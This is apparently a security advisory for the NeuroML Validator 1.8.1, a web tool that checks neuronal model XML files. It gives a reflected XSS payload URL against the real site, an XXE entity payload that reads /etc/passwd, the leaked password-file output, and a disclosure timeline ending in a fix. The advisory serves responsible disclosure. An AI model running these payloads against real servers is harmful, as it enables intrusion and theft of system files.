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The NeuroML project focuses on the development of an
XML (eXtensible Markup Language) based description language
that provides a common data format for defining and
exchanging descriptions of neuronal cell and network models.
The current approach in the project uses XML schemas to
define the model specifications.[0]
Vulnerable:
neuroML version 1.8.1
Not tested:
Other versions of neuroML
The NeuroML Validator, can be used to check the validity
of NeuroML files.
Example output:
Unable to locate file /var/lib/tomcat7/webapps/NeuroMLValidator/x
Example output:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
http://www.neuroml.org/NeuroMLValidator/Validation.jsp?pastedFile=XSS%3C/textarea%3Ex%3Cimg%20src=%27s%27%20onError=%27alert%281%29;%27%3E
Example output:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
Used XML:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
2014-05-04: Discovered Flaws
2014-05-05: Contacted Developer
2014-05-05: Developer Response
2014-05-28: Developer fixed all issues
2014-10-10: Disclosure of the advisory
[0] http://www.neuroml.org/introduction
[1] http://blog.csnc.ch/2012/08/secure-xml-parser-configuration/